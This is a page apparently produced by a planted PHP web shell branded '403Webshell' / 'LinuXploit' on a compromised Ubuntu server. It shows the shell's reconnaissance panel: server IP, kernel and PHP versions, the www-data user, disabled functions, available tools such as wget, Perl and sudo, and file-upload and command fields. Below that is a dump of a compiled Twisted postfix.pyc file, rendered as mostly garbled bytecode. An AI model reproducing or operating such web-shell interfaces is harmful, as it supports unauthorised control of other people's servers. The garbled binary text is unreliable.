403Webshell
Server IP : 61.19.30.66  /  Your IP : 216.73.216.15
Web Server : Apache/2.2.22 (Ubuntu)
System : Linux klw 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64
User : www-data ( 33)
PHP Version : 5.3.10-1ubuntu3.48
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python2.7/dist-packages/twisted/protocols/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.7/dist-packages/twisted/protocols/postfix.pyc
ó
[³XMc@sÝdZddlZddlZddlZddlmZddlmZddlmZm	Z	ddl
mZd„Zd„Z
d	ejejfd
„ƒYZdejejfd„ƒYZd
ejfd„ƒYZdS(s1
Postfix mail transport agent related protocols.
iÿÿÿÿN(tbasic(tpolicies(tprotocoltdefer(tlogcCs
tj|ƒS(N(turllibtquote(ts((s=/usr/lib/python2.7/dist-packages/twisted/protocols/postfix.pyRscCs
tj|ƒS(N(Rtunquote(R((s=/usr/lib/python2.7/dist-packages/twisted/protocols/postfix.pyRstPostfixTCPMapServercBs\eZdZdZdZd„Zdd„Zd„Zd„Zd„Z	d	„Z
d
„ZRS(szPostfix mail transport agent TCP map protocol implementation.

    Receive requests for data matching given key via lineReceived,
    asks it's factory for the data with self.factory.get(key), and
    returns the data to the requester. None means no entry found.

    You can use postfix's postmap to test the map service::

    /usr/sbin/postmap -q KEY tcp:localhost:4242

    iXs
cCs|j|jƒdS(N(t
setTimeoutttimeout(tself((s=/usr/lib/python2.7/dist-packages/twisted/protocols/postfix.pytconnectionMade*stcCs!|jd||pdfƒdS(s&Send an SMTP-like code with a message.s%3.3d %sRN(tsendLine(Rtcodetmessage((s=/usr/lib/python2.7/dist-packages/twisted/protocols/postfix.pytsendCode-scCsÁ|jƒy|jddƒ\}}Wntk
rE|}d}nXyt|d|ƒ}Wn!tk
r€|jddƒn=Xy||ƒWn+|jdd|tjƒdfƒnXdS(Nitdo_isunknown commandsCommand %r failed: %s.(	tresetTimeouttsplittNonet
ValueErrortgetattrtAttributeErrorRtsystexc_info(Rtlinetrequesttparamstf((s=/usr/lib/python2.7/dist-packages/twisted/protocols/postfix.pytlineReceived1s



cCse|dkr#|jdddƒn>tj|jj|ƒ}|j|j|jƒ|j	t
jƒdS(NisCommand %r takes 1 parameters.tget(RRRt
maybeDeferredtfactoryR!taddCallbackst_cbGott_cbNott
addErrbackRterr(Rtkeytd((s=/usr/lib/python2.7/dist-packages/twisted/protocols/postfix.pytdo_getBs
cCs|jd|jƒƒdS(Ni(RtgetErrorMessage(Rtfail((s=/usr/lib/python2.7/dist-packages/twisted/protocols/postfix.pyR&JscCs6|dkr|jdƒn|jdt|ƒƒdS(NiôiÈ(RRR(Rtvalue((s=/usr/lib/python2.7/dist-packages/twisted/protocols/postfix.pyR%MscCs{|dkr#|jdddƒnTy|jddƒ\}}Wn%tk
rf|jdddƒnX|jddƒdS(NisCommand %r takes 2 parameters.tputiiôsput is not implemented yet.(RRRR(RtkeyAndValueR)R.((s=/usr/lib/python2.7/dist-packages/twisted/protocols/postfix.pytdo_putSs
(t__name__t
__module__t__doc__Rt	delimiterR
RR R+R&R%R1(((s=/usr/lib/python2.7/dist-packages/twisted/protocols/postfix.pyR	s					tPostfixTCPMapDictServerFactorycBseZdZeZRS(s8An in-memory dictionary factory for PostfixTCPMapServer.(R2R3R4R	R(((s=/usr/lib/python2.7/dist-packages/twisted/protocols/postfix.pyR6_st'PostfixTCPMapDeferringDictServerFactorycBs)eZdZeZdd„Zd„ZRS(s8An in-memory dictionary factory for PostfixTCPMapServer.cCs,i|_|dk	r(|jj|ƒndS(N(tdataRtupdate(RR8((s=/usr/lib/python2.7/dist-packages/twisted/protocols/postfix.pyt__init__js	cCstj|jj|ƒƒS(N(RtsucceedR8R!(RR)((s=/usr/lib/python2.7/dist-packages/twisted/protocols/postfix.pyR!osN(R2R3R4R	RRR:R!(((s=/usr/lib/python2.7/dist-packages/twisted/protocols/postfix.pyR7es(R4RtUserDictRttwisted.protocolsRRttwisted.internetRRttwisted.pythonRRRtLineReceivertTimeoutMixinR	t
ServerFactoryR6R7(((s=/usr/lib/python2.7/dist-packages/twisted/protocols/postfix.pyt<module>s		E	

Youez - 2016 - github.com/yon3zu
LinuXploit